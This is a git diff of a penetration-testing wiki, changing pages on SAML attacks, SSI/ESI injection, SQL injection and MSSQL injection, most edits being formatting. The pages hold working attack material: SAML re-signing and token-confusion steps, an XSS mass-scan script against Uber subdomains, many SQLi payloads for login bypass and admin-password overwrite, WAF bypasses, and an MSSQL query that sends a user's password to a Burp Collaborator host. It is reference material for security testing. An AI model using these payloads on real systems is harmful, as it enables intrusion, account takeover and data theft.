@@ After sending the certificate, we should see an imported certificate in the SAML ![sent-cert](https://epi052.gitlab.io/notes-to-self/img/saml/sent-cert.png) -Doing so generates a self-signed clone of the original certificate. Now it’s time to move back to the intercepted request still held in burp’s Proxy. First, select the new self-signed cert from the XML Signature dropdown menu. Then use the `Remove Signatures` button to remove any existing signatures. Finally, use the **`(Re-)Sign Message`** or `(`**`Re-)Sign Assertion`** button \(**whichever** is **more** **appropriate** in your given situation\). +Doing so generates a self-signed clone of the original certificate. Now it’s time to move back to the intercepted request still held in burp’s Proxy. First, select the new self-signed cert from the XML Signature dropdown menu. Then use the `Remove Signatures` button to remove any existing signatures. Finally, use the **`(Re-)Sign Message`** or `(`**`Re-)Sign Assertion`** button (**whichever** is **more** **appropriate** in your given situation). ![remove-sig](https://epi052.gitlab.io/notes-to-self/img/saml/remove-sig.png) After signing the message with the self-signed cert, send it on its way. If we authenticate, we know that we can sign our SAML Messages. The ability to sign our SAML Messages means we can change values in the Assertion and they will be accepted by the Service Provider. -## Token Recipient Confusion / Service Provider Target Confusion +## Token Recipient Confusion / Service Provider Target Confusion -Token Recipient Confusion / Service Provider Target CONfusion **tests whether or not the Service Provider validates the Recipient**. This means, that **if the response was meant to a different Service Provide**r, the **current** Service Provider should notice it and **reject the authentication**. +Token Recipient Confusion / Service Provider Target CONfusion **tests whether or not the Service Provider validates the Recipient**. This means, that **if the response was meant to a different Service Provide**r, the **current** Service Provider should notice it and **reject the authentication**.\ The **Recipient** field is an attribute of the **SubjectConfirmationData** element, which is a child of the Subject element in a SAML Response. -> The SubjectConfirmationData element specifies additional data that allows the subject to be confirmed or constrains the circumstances under which the act of subject confirmation can take place. Subject confirmation takes place when a relying party seeks to verify the relationship between an entity presenting the assertion \(that is, the attesting entity\) and the subject of the assertion’s claims. +> The SubjectConfirmationData element specifies additional data that allows the subject to be confirmed or constrains the circumstances under which the act of subject confirmation can take place. Subject confirmation takes place when a relying party seeks to verify the relationship between an entity presenting the assertion (that is, the attesting entity) and the subject of the assertion’s claims. The Recipient attribute found on the **SubjectConfirmationData element is a URL that specifies the location to which the Assertion must be delivered**. If the Recipient is a different Service Provider than the one who receives it, the Assertion should not be accepted. -### How-to +### How-to -SAML Token Recipient Confusion \(SAML-TRC\) has a few prequisite conditions in order for us to attempt exploitation. First, we **need** to have a **legitimate account on a Service Provider**. Second, **SP-Target must accept tokens issued by the same Identity Provider that services SP-Legit**. +SAML Token Recipient Confusion (SAML-TRC) has a few prequisite conditions in order for us to attempt exploitation. First, we **need** to have a **legitimate account on a Service Provider**. Second, **SP-Target must accept tokens issued by the same Identity Provider that services SP-Legit**. The attack is relatively simple if the conditions are true. We **authenticate** to **SP-Legit** via the shared Identity Provider. We then **intercept the SAML Response on its way from the IdP to SP-Legit**. Once intercepted, we send the **SAML Response that was intended for SP-Legit to SP-Target instead.** If **SP-Target accepts the Assertion**; we’ll find ourselves logged in with the same account name as we have for SP-Legit and get access to SP-Target’s corresponding resources. ## XSS in Logout functionality -\(Access the [original research here](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)\) +(Access the [original research here](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)) After performing the directory brute forcing I found the following page: -```text +``` https://carbon-prototype.uberinternal.com:443/oidauth/logout ``` It's a logout page, I opened the above link and it did redirect me to the following page -```text +``` https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1 ``` @@ -258,7 +264,7 @@ The base parameter is taking a URL so how about replacing that with the old clas ### Mass Exploitation -Using [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) that can take a list of URLs and then give you back the callback \(SAML consume\) URL, I decided to feed the tool with all subdomains of `uberinternal.com` to see if there are other domains that use the same library and there was. +Using [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) that can take a list of URLs and then give you back the callback (SAML consume) URL, I decided to feed the tool with all subdomains of `uberinternal.com` to see if there are other domains that use the same library and there was. What I did next was to create a script that calls the vulnerable page `oidauth/prompt` and try the XSS and if my input is reflected it gives me a nice vulnerable message. @@ -282,6 +288,5 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList: ## References -The attacks were obtained from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) +The attacks were obtained from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\ You can find additional resources and write-ups in [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/) - diff --git a/pentesting-web/saml-attacks/saml-basics.md b/pentesting-web/saml-attacks/saml-basics.md index 6ebc4af4..ea717a47 100644 --- a/pentesting-web/saml-attacks/saml-basics.md +++ b/pentesting-web/saml-attacks/saml-basics.md @@ -2,26 +2,26 @@ ## Description -Security Assertion Markup Language \(SAML\) is an open standard that allows identity providers \(IdP\) to pass authorization credentials to service providers \(SP\). What that jargon means is that you can **use one set of credentials to log into many different websites**. It’s much simpler to manage one login per user than it is to manage separate logins to email, customer relationship management \(CRM\) software, Active Directory, etc. +Security Assertion Markup Language (SAML) is an open standard that allows identity providers (IdP) to pass authorization credentials to service providers (SP). What that jargon means is that you can **use one set of credentials to log into many different websites**. It’s much simpler to manage one login per user than it is to manage separate logins to email, customer relationship management (CRM) software, Active Directory, etc. -SAML transactions use Extensible Markup Language \(XML\) for standardized communications between the identity provider and service providers. SAML is the link between the authentication of a user’s identity and the authorization to use a service. \(From [here](https://www.varonis.com/blog/what-is-saml/)\) +SAML transactions use Extensible Markup Language (XML) for standardized communications between the identity provider and service providers. SAML is the link between the authentication of a user’s identity and the authorization to use a service. (From [here](https://www.varonis.com/blog/what-is-saml/)) ## SAML vs. OAuth -OAuth is a slightly newer standard that was co-developed by Google and Twitter to enable streamlined internet logins. OAuth uses a similar methodology as SAML to share login information. **SAML provides more control** to enterprises to keep their SSO logins more secure, whereas **OAuth is better on mobile and uses JSON**. +OAuth is a slightly newer standard that was co-developed by Google and Twitter to enable streamlined internet logins. OAuth uses a similar methodology as SAML to share login information. **SAML provides more control **to enterprises to keep their SSO logins more secure, whereas** OAuth is better on mobile and uses JSON**. ## Schema ![saml-flow](https://epi052.gitlab.io/notes-to-self/img/saml/saml-flow.jpg) 1. Step 1 - We try to access some protected resource -2. Step 2 - The server where that resource resides \(Service Provider\) doesn’t know us, so it generates a **SAML Request** to be sent to the Identity Provider. This would be like showing up to Germany without our passport and getting sent back to the US to get our passport before being able to get into the country. +2. Step 2 - The server where that resource resides (Service Provider) doesn’t know us, so it generates a **SAML Request** to be sent to the Identity Provider. This would be like showing up to Germany without our passport and getting sent back to the US to get our passport before being able to get into the country. 3. Step 3 - After generating the SAML Request, the SP **redirects** us to the IdP. Note: The SAML Request passes through our browser on the way to the IdP. 4. Step 4 - The IdP receives the SAML Request -5. Step 4a \(not pictured\) - The IdP provides some means of authentication; a login form or something similar. -6. Step 4b \(not pictured\) - The IdP validates us as a legitimate user that should be allowed to access the resource included as part of the SAML Request +5. Step 4a (not pictured) - The IdP provides some means of authentication; a login form or something similar. +6. Step 4b (not pictured) - The IdP validates us as a legitimate user that should be allowed to access the resource included as part of the SAML Request 7. Step 5 - The IdP creates a **SAML Response**. The SAML Response contains the SAML Assertions necessary for the SP. The Assertion usually includes the following information at a minimum: Indication that the Assertion is from the correct IdP, a **NameID** attribute specifying who the user is, and a digital signature. The SAML Response also passes through our browser. -8. Step 6 - The IdP **redirects** us to the SP’s Assertion Consumer Service \(ACS\) URL. The ACS is simply the URL on which the SP expects to receive SAML assertions. +8. Step 6 - The IdP **redirects** us to the SP’s Assertion Consumer Service (ACS) URL. The ACS is simply the URL on which the SP expects to receive SAML assertions. 9. Step 7 - The ACS validates the SAML Response. 10. Step 8 - We are allowed to access the resource we originally requested. @@ -31,7 +31,7 @@ Let’s take a closer look at steps 2 and 3 outlined above. We’ll make a reque _shibdemo-sp1.test.edu is a local virtualized instance of an IdP and SP for testing, not an actual site_ -```text +``` GET /secure/ HTTP/1.1 Host: shibdemo-sp1.test.edu User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0 @@ -61,7 +61,7 @@ The SP generates a SAML Request because we’re not authenticated. We can see th ``` * **AssertionConsumerServiceURL**: Identifies where the IdP should send the SAML Response to after authentication -* **Destination**: Indicates the address to which the request should be sent \(IdP\) +* **Destination**: Indicates the address to which the request should be sent (IdP) * **ProtocolBinding**: Typically accompanies the AssertionConsumerServiceURL attribute; defines the mechanism by which SAML protocol messages will be transmitted * **saml:Issuer**: Identifies the entity that generated the request message @@ -198,7 +198,7 @@ Here’s a more straightforward visual representation of the same SAML Response. Now that we’ve authenticated with the IdP and it has generated the SAML Response above, it responds to our authentication with another 302 redirect. -```text +``` HTTP/1.1 302 Moved Temporarily Date: Tue, 12 Mar 2019 20:54:53 GMT Expires: 0 @@ -231,7 +231,7 @@ RelayState=ss%3Amem%3A39430bdac29d44586c326f12b4cb3345ffa47137a374e37cba0877e0fc Once the POST request is received, and the SAML Response is validated, we can access the protected resource we initially requested. -```text +``` GET /secure/ HTTP/1.1 Host: shibdemo-sp1.test.edu User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0 @@ -356,4 +356,3 @@ Finally, there are **detached signatures**. A detached signature is neither wrap ## References Most of the content was copied from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/) - diff --git a/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index 2e3e41a8..c7b87d73 100644 --- a/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -2,7 +2,7 @@ ## Server Side Inclusion Basic Information -SSI \(Server Side Includes\) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology. +SSI (Server Side Includes) are directives that are** placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content **to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\ For example, you might place a directive into an existing HTML page, such as: `` @@ -11,19 +11,19 @@ And, when the page is served, this fragment will be evaluated and replaced with `Tuesday, 15-Jan-2013 19:28:54 EST` -The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution. \(Definition taken from [here](https://httpd.apache.org/docs/current/howto/ssi.html)\). +The decision of when to use SSI, and when to have your page entirely generated by some program, is usually a matter of how much of the page is static, and how much needs to be recalculated every time the page is served. SSI is a great way to add small pieces of information, such as the current time - shown above. But if a majority of your page is being generated at the time that it is served, you need to look for some other solution. (Definition taken from [here](https://httpd.apache.org/docs/current/howto/ssi.html)). You can infer the presence of SSI if the web application uses files with the extensions .shtml, .shtm or .stm, but it's not only the case. A typical SSI expression has the following format: -```text +``` ``` ### Check -```text +``` #Document name #Date #File inclusion @@ -33,18 +33,18 @@ A typical SSI expression has the following format: ## Edge Side Inclusion -There is a problem **caching information or dynamic applications** as part of the content may have **varied** for the next time the content is retrieved. This is what **ESI** is used form, to indicate using ESI tags the **dynamic content that needs to be generated** before sending the cache version. +There is a problem **caching information or dynamic applications** as part of the content may have **varied** for the next time the content is retrieved. This is what **ESI** is used form, to indicate using ESI tags the **dynamic content that needs to be generated** before sending the cache version.\ if an **attacker** is able to **inject an ESI tag** inside the cache content, then, he could be able to i**nject arbitrary content** on the document before it's sent to the users. ### ESI Detection The following header in a response from the server means that the server is using ESI: -```text +``` Surrogate-Control: content="ESI/1.0" ``` -If you can't find this header, the server might be using ESI anyways. +If you can't find this header, the server might be using ESI anyways.\ A blind exploitation approach can also be used as a request should arrive to the attackers server: ```markup @@ -100,7 +100,7 @@ This will send debug information included in the response: ### ESI + XSLT = XXE -It is also possible to add ****_**eXtensible Stylesheet Language Transformations \(XSLT\)**_ ****based ESI includes by specifying the `xslt` value to the _dca_ parameter. The following include will cause the HTTP surrogate to request the XML and XSLT file. The XSLT file is then used to filter the XML file. This XML file can be used to perform _XML External Entity \(XXE\)_ attacks. This allows attackers to perform SSRF attacks, which is not very useful since this must be performed through ESI includes, which is an SSRF vector itself. External DTDs are not parsed since the underlying library \(Xalan\) has no support for it. This means we cannot extract local files. +It is also possible to add** **_**eXtensible Stylesheet Language Transformations (XSLT)**_** **based ESI includes by specifying the `xslt` value to the _dca_ parameter. The following include will cause the HTTP surrogate to request the XML and XSLT file. The XSLT file is then used to filter the XML file. This XML file can be used to perform _XML External Entity (XXE)_ attacks. This allows attackers to perform SSRF attacks, which is not very useful since this must be performed through ESI includes, which is an SSRF vector itself. External DTDs are not parsed since the underlying library (Xalan) has no support for it. This means we cannot extract local files. ```markup @@ -116,7 +116,9 @@ The XSLT file: Check the XSLT page: -{% page-ref page="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} +{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %} +[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md) +{% endcontent-ref %} ### References @@ -125,5 +127,4 @@ Check the XSLT page: ## Brute-Force Detection List -{% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/ssi\_esi.txt" %} - +{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %} diff --git a/pentesting-web/sql-injection/README.md b/pentesting-web/sql-injection/README.md index 3649d323..c5998843 100644 --- a/pentesting-web/sql-injection/README.md +++ b/pentesting-web/sql-injection/README.md @@ -2,17 +2,17 @@ ## What is SQL injection? -SQL injection is a web security vulnerability that allows an attacker to **interfere** with the **queries** that an application makes to its **database**. It generally allows an attacker to **view data** that they are not normally able to retrieve. This might include data belonging to **other users**, or any other data that the **application** itself is able to **access**. In many cases, an attacker can **modify** or **delete** this data, causing persistent changes to the application's content or behaviour. -In some situations, an attacker can escalate an SQL injection attack to **compromise the underlying server** or other back-end infrastructure, or perform a denial-of-service attack. \(From [here](https://portswigger.net/web-security/sql-injection)\). +SQL injection is a web security vulnerability that allows an attacker to **interfere** with the **queries** that an application makes to its **database**. It generally allows an attacker to **view data** that they are not normally able to retrieve. This might include data belonging to **other users**, or any other data that the **application** itself is able to **access**. In many cases, an attacker can **modify** or **delete** this data, causing persistent changes to the application's content or behaviour.\ +In some situations, an attacker can escalate an SQL injection attack to **compromise the underlying server** or other back-end infrastructure, or perform a denial-of-service attack. (From [here](https://portswigger.net/web-security/sql-injection)). > In this POST I'm going to suppose that we have found a possible SQL injection and we are going to discuss possible methods to confirm the SQL injection, recon the database and perform actions. ## Entry point detection -You may have found a site that is **apparently vulnerable to SQL**i just because the server is behaving weird with SQLi related inputs. Therefore, the **first thing** you need to do is how to **inject data in the query without breaking it.** To do so you first need to find how to **escape from the current context.** +You may have found a site that is **apparently vulnerable to SQL**i just because the server is behaving weird with SQLi related inputs. Therefore, the **first thing** you need to do is how to **inject data in the query without breaking it.** To do so you first need to find how to **escape from the current context.**\ These are some useful examples: -```text +``` [Nothing] ' " @@ -59,12 +59,12 @@ HQL does not support comments ### Confirming with logical operations -One of the best ways to confirm a SQL injection is by making it operate a **logical operation** and having the expected results. +One of the best ways to confirm a SQL injection is by making it operate a **logical operation** and having the expected results.\ For example: if the GET parameter `?username=Peter` returns the same content as `?username=Peter' or '1'='1` then, you found a SQL injection. Also you can apply this concept to **mathematical operations**. Example: If `?id=1` returns the same as `?id=2-1`, SQLinjection. -```text +``` page.asp?id=1 or 1=1 -- true page.asp?id=1' or 1=1 -- true page.asp?id=1" or 1=1 -- true @@ -77,10 +77,10 @@ This word-list was created to try to **confirm SQLinjections** in the proposed w ### Confirming with Timing -In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load. +In some cases you **won't notice any change** on the page you are testing. Therefore, a good way to **discover blind SQL injections** is making the DB perform actions and will have an **impact on the time** the page need to load.\ Therefore, the we are going to concat in the SQL query an operation that will take a lot of time to complete: -```text +``` MySQL (string concat and logical ops) 1' + sleep(10) 1' and sleep(10) @@ -102,7 +102,7 @@ SQLite 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) ``` -In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology \(if any\)_. +In some cases the **sleep functions won't be allowed**. Then, instead of using those functions you could make the query **perform complex operations** that will take several seconds. _Examples of these techniques are going to be commented separately on each technology (if any)_. ### Identifying Back-end @@ -146,8 +146,8 @@ A continuation we are going to discuss different methods to exploit different ki ### Detecting number of columns -If you can see the output of the query this is the best way to exploit it. -First of all, wee need to find out the **number** of **columns** the **initial request** is returning. This is because **both queries must return the same number of columns**. +If you can see the output of the query this is the best way to exploit it.\ +First of all, wee need to find out the **number** of **columns** the **initial request** is returning. This is because **both queries must return the same number of columns**.\ Two methods are typically used for this purpose: #### Order/Group by @@ -201,7 +201,7 @@ _There is a different way to discover this data on every different database, but ## Exploiting Error based -If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database. +If for some reason you **cannot** see the **output** of the **query** but you can **see the error messages**, you can make this error messages to **ex-filtrate** data from the database.\ Following a similar flow as in the Union Based exploitation you could manage to dump the DB. ```sql @@ -210,7 +210,7 @@ Following a similar flow as in the Union Based exploitation you could manage to ## Exploiting Blind SQLi -In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page. +In this case you cannot see the results of the query or the errors, but you can **distinguished** when the query **return** a **true** or a **false** response because there are different contents on the page.\ In this case, you can abuse that behaviour to dump the database char by char: ```sql @@ -219,7 +219,7 @@ In this case, you can abuse that behaviour to dump the database char by char: ## Exploiting Error Blind SQLi -This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not \(maybe because the HTTP server crashes\). Therefore, in this case you can force an SQLerror each time you guess correctly the char: +This is the **same case as before** but instead of distinguish between a true/false response from the query you can **distinguish between** an **error** in the SQL query or not (maybe because the HTTP server crashes). Therefore, in this case you can force an SQLerror each time you guess correctly the char: ```sql AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - @@ -270,9 +270,11 @@ Or you will find **a lot of tricks regarding: MySQL, PostgreSQL, Oracle, MSSQL, List to try to bypass the login functionality: -{% page-ref page="../login-bypass/sql-login-bypass.md" %} +{% content-ref url="../login-bypass/sql-login-bypass.md" %} +[sql-login-bypass.md](../login-bypass/sql-login-bypass.md) +{% endcontent-ref %} -### Authentication Bypass \(Raw MD5\) +### Authentication Bypass (Raw MD5) When a raw md5 is used, the pass will be queried as a simple string, not a hexstring. @@ -286,7 +288,7 @@ Allowing an attacker to craft a string with a `true` statement such as `' or 'SO md5("ffifdyop", true) = 'or'6�]��!r,��b� ``` -Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772/) +Challenge demo available at [http://web.jarvisoj.com:32772](http://web.jarvisoj.com:32772) ### Hash Authentication Bypass @@ -296,14 +298,14 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055' **Recommended list**: -You should use as username each line of the list and as password always: _**Pass1234.** -\(This payloads are also included in the big list mentioned at the beginning of this section\)_ +You should use as username each line of the list and as password always: _**Pass1234.**_\ +_(This payloads are also included in the big list mentioned at the beginning of this section)_ {% file src="../../.gitbook/assets/sqli-hashbypass.txt" %} ### GBK Authentication Bypass -IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 \(_╘'_\) +IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (_╘'_) ```sql %A8%27 OR 1=1;-- 2 @@ -322,7 +324,7 @@ r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) print r.text ``` -### Polyglot injection \(multicontext\) +### Polyglot injection (multicontext) ```sql SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ @@ -332,19 +334,19 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/ ### Modify password of existing object/user -To do so you should try to **create a new object named as the "master object"** \(probably **admin** in case of users\) modifying something: +To do so you should try to **create a new object named as the "master object"** (probably **admin** in case of users) modifying something: -* Create user named: **AdMIn** \(uppercase & lowercase letters\) +* Create user named: **AdMIn** (uppercase & lowercase letters) * Create a user named: **admin=** -* **SQL Truncation Attack** \(when there is some kind of **length limit** in the username or email\) --> Create user with name: **admin \[a lot of spaces\] a** +* **SQL Truncation Attack** (when there is some kind of **length limit** in the username or email) --> Create user with name: **admin \[a lot of spaces] a** #### SQL Truncation Attack -If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces\] a_" and any password. +If the database is vulnerable and the max number of chars for username is for example 30 and you want to impersonate the user **admin**, try to create a username called: "_admin \[30 spaces] a_" and any password. -The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** \(in this case to: "_admin \[25 spaces\]_"\) and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** \(some error could appear but it doesn't means that this hasn't worked\). +The database will **check** if the introduced **username** **exists** inside the database. If **not**, it will **cut** the **username** to the **max allowed number of characters** (in this case to: "_admin \[25 spaces]_") and the it will **automatically remove all the spaces at the end updating** inside the database the user "**admin**" with the **new password** (some error could appear but it doesn't means that this hasn't worked). -More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/\#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) +More info: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) ### MySQL Insert time based checking @@ -358,7 +360,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by: -```text +``` Inject using payload: attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- @@ -377,7 +379,7 @@ After this, we can simply authenticate with “admin@example.com” and the pass When trying to create a new user and username, password and email are needed: -```text +``` SQLi payload: username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- - @@ -400,7 +402,7 @@ To get the text you can use: __import__('binascii').unhexlify(hex(215573607263)[2:]) ``` -Using **hex** and **replace** \(and **substr**\): +Using **hex** and **replace** (and **substr**): ```sql '+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+' @@ -413,7 +415,7 @@ Using **hex** and **replace** \(and **substr**\): ## Routed SQL injection -Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. \([Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)\) +Routed SQL injection is a situation where the injectable query is not the one which gives output but the output of injectable query goes to the query which gives output. ([Paper](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Routed%20SQL%20Injection%20-%20Zenodermus%20Javanicus.txt)) Example: @@ -424,7 +426,7 @@ Example: ## WAF Bypass -No Space \(%20\) - bypass using whitespace alternatives +No Space (%20) - bypass using whitespace alternatives ```sql ?id=1%09and%091=1%09-- @@ -449,7 +451,7 @@ No Whitespace - bypass using parenthesis No Comma - bypass using OFFSET, FROM and JOIN -```text +``` LIMIT 0,1 -> LIMIT 1 OFFSET 0 SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1). SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d @@ -465,7 +467,7 @@ Blacklist using keywords - bypass using uppercase/lowercase Blacklist using keywords case insensitive - bypass using an equivalent operator -```text +``` AND -> && -> %26%26 OR -> || -> %7C%7C = -> LIKE,REGEXP,RLIKE, not < and not > @@ -475,14 +477,13 @@ WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database()) ### WAF bypass suggester tools -{% embed url="https://github.com/m4ll0k/Atlas" caption="" %} +{% embed url="https://github.com/m4ll0k/Atlas" %} ## Other Guides -* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com/) +* [https://sqlwiki.netspi.com/](https://sqlwiki.netspi.com) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection) ## Brute-Force Detection List -{% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/sqli.txt" caption="" %} - +{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %} diff --git a/pentesting-web/sql-injection/mssql-injection.md b/pentesting-web/sql-injection/mssql-injection.md index 437be469..2f1693e8 100644 --- a/pentesting-web/sql-injection/mssql-injection.md +++ b/pentesting-web/sql-injection/mssql-injection.md @@ -2,10 +2,11 @@ ## Active Directory enumeration -It may be possible to **enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions: +It may be possible to** enumerate domain users via SQL injection inside a MSSQL** server using the following MSSQL functions: -* `master.dbo.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator'))`: If you know the name of the domain \(_MEGACORP_ in this example\) this function will return the **SID of the user Administrator** in hex format. This will look like `0x01050000000[...]0000f401`, note how the **last 4 bytes** are the number **500** in **big endian** format, which is the **common ID of the user administrator**. This function will allow you to **know the ID of the domain** \(all the bytes except of the last 4\). -* `SUSER_SNAME(0x01050000000[...]0000e803)` : This function will return the **username of the ID indicated** \(if any\), in this case **0000e803** in big endian == **1000** \(usually this is the ID of the first regular user ID created\). Then you can imagine that you can bruteforce user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one: +* `master.dbo.fn_varbintohexstr(SUSER_SID('MEGACORP\Administrator'))`: If you know the name of the domain (_MEGACORP _in this example) this function will return the **SID of the user Administrator **in hex format. This will look like `0x01050000000[...]0000f401`, note how the **last 4 bytes** are the number **500** in **big endian **format, which is the **common ID of the user administrator**. \ + This function will allow you to** know the ID of the domain** (all the bytes except of the last 4). +* `SUSER_SNAME(0x01050000000[...]0000e803)` : This function will return the **username of the ID indicated **(if any), in this case **0000e803** in big endian == **1000 **(usually this is the ID of the first regular user ID created). Then you can imagine that you can bruteforce user IDs from 1000 to 2000 and probably get all the usernames of the users of the domain. For example using a function like the following one: ```python def get_sid(n): @@ -17,7 +18,7 @@ def get_sid(n): ## **Alternative Error-Based vectors** -**\(From** [**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**\)** Error-based SQL injections typically resemble constructions such as «+AND+1=@@version–» and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data. +**(From **[**here**](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)**) **Error-based SQL injections typically resemble constructions such as «+AND+1=@@version–» and variants based on the «OR» operator. Queries containing such expressions are usually blocked by WAFs. As a bypass, concatenate a string using the %2b character with the result of specific function calls that trigger a data type conversion error on sought-after data. Some examples of such functions: @@ -31,7 +32,7 @@ Some examples of such functions: Example use of function `USER_NAME()`: -```text +``` https://vuln.app/getItem?id=1'%2buser_name(@@version)-- ``` @@ -39,11 +40,11 @@ https://vuln.app/getItem?id=1'%2buser_name(@@version)-- ## SSRF -#### fn\_trace\_gettabe, fn\_xe\_file\_target\_read\_file, fn\_get\_audit\_file \(from [here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)\) +#### fn_trace_gettabe, fn_xe_file_target_read_file, fn_get_audit_file (from [here](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)) `fn_xe_file_target_read_file()` example: -```text +``` https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null)) ``` @@ -53,7 +54,7 @@ https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_f 